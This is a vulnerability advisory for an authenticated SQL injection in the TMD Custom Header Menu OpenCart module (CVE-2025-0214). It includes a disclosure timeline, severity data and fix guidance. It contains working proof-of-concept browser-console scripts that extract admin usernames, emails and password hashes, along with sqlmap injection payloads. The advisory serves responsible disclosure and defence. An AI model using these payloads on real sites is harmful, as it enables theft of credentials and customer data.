The TMD Custom Header Menu OpenCart module has a SQL Injection (SQLi) vulnerability.
This allows an authenticated attacker to access any and all content stored in the database.
Via the SQLi vulnerability it's possible to compromise the site by exfiltrating admin session details / credentials.
Any Personally Identifiable Information (PII) and/or payment details stored in the site's database would also be vulnerable to exfiltration.
This vulnerability is mitigated by the fact that in order to exploit it, an attacker must have access to the admin User Interface of the site (or a valid session cookie and user_token).
- 2024-12-27: mcdruid contacts TMD to report vulnerability
- 2024-12-28: TMD replied acknowledging the report
- 2024-12-30: TMD released fixed version in the OpenCart marketplace
- 2025-01-03: CVE assignment requested
- https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=14861
- https://www.opencartextensions.in/opencart-modules/custome-opencart-header-menu-free-ocmod-2.0
- Vulnerable version:
"name": "TMD Custom Header Menu",
"codename": "tmdcustomheadermenu",
"version": "4.0.0.1",
- OpenCart 3 version also affected (release from 2017 with no version number)
- Tested with OpenCart 4.0.2.3, 3.0.4.0
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CAPEC-66: SQL Injection
- CAPEC-7: Blind SQL Injection
- CVSS (v3): CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L 7.2 High
- CVE: CVE-2025-0214
In the examples below, a simple OpenCart test site has been set up with the TMD Custom Header Menu OpenCart module installed. It may be necessary to create at least one header menu entry for some SQLi exploits to work (e.g. a simple UNION based vector). SQLi is possible without any set up beyond initial installation.
The following Proof of Concept simulates a Cross Site Scripting (XSS) attack on an admin user. This can be executed via the browser console.
OpenCart 4:
!function(e){e.get("/admin/index.php?route=extension%2Ftmdcustomheadermenu%2Ftmd%2Ftmdcustomheader%7Cform&user_token="+new URLSearchParams(window.location.search).get("user_token")+"&headermenu_id=0%27+UNION+ALL+SELECT+status%2Cuser_id%2Cusername%2Cfirstname%2Clastname%2Cemail%2Cpassword+FROM+oc_user+WHERE+user_id%3D1--+.",(function(n){console.log(e(n).find("[name=sort_order]")[0].value)}))}(jQuery);
OpenCart 3:
!function(e){e.get("/admin/index.php?route=extension/headermenu/update&user_token="+new URLSearchParams(window.location.search).get("user_token")+"&headermenu_id=0%27+UNION+ALL+SELECT+status%2Cuser_id%2Cusername%2Cfirstname%2Clastname%2Cemail%2CCONCAT%28salt%2C%27%3A%27%2Cpassword%29+FROM+oc_user+WHERE+user_id%3D1--+.",(function(n){console.log(e(n).find("[name=sort_order]")[0].value)}))}(jQuery);
The problem is that the headermenu_id
GET parameter is inserted directly into
a SQL query with no sanitisation.
It's possible to extract arbitrary information from the database using this vulnerability. A tool like sqlmap is able to extract a full database dump.
However, a valid session cookie and user_token
are required.
sqlmap reports the following possible SQLi techniques (in OpenCart 4 with only the basic installation of the module):
---
Parameter: headermenu_id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: route=extension/tmdcustomheadermenu/tmd/tmdcustomheader|form&user_token=*VALID-TOKEN-REQUIRED*&headermenu_id=1' RLIKE (SELECT (CASE WHEN (7144=7144) THEN 1 ELSE 0x28 END))-- olbq
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: route=extension/tmdcustomheadermenu/tmd/tmdcustomheader|form&user_token=*VALID-TOKEN-REQUIRED*&headermenu_id=1' AND EXTRACTVALUE(1761,CONCAT(0x5c,0x71787a7671,(SELECT (ELT(1761=1761,1))),0x7170767671))-- TYHm
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: route=extension/tmdcustomheadermenu/tmd/tmdcustomheader|form&user_token=*VALID-TOKEN-REQUIRED*&headermenu_id=1' AND (SELECT 1789 FROM (SELECT(SLEEP(5)))ZXVl)-- BoxD
Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: route=extension/tmdcustomheadermenu/tmd/tmdcustomheader|form&user_token=*VALID-TOKEN-REQUIRED*&headermenu_id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71787a7671,0x4c475153756e6e506b426d6b6963726e7a546653514c717a78496a4e79504f47756a70724e4f616e,0x7170767671),NULL#
---
OpenCart's database API is very basic and does not employ prepared statements or parameterised inputs to queries.
Therefore modules must appropriately validate all unsafe input which is used to assemble SQL queries.
This is typically done in two ways; either the value is cast to a numeric format, or the database driver’s escape method is used.
An example from OpenCart's own code that uses both techniques:
$this->db->query("INSERT INTO `" . DB_PREFIX . "customer_transaction` SET `customer_id` = '" . (int)$customer_id . "', `order_id` = '" . (int)$order_id . "', `description` = '" . $this->db->escape($description) . "', `amount` = '" . (float)$amount . "', `date_added` = NOW()");